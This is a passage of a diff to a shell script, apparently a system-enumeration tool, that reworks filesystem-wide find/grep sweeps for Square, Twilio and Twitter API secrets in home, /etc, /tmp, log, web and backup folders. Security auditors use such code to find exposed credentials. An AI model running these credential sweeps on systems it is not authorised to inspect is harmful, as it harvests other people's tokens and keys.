"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & +print_3title_no_nl "Searching Square Oauth Secret (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twilio API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Twilio API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE 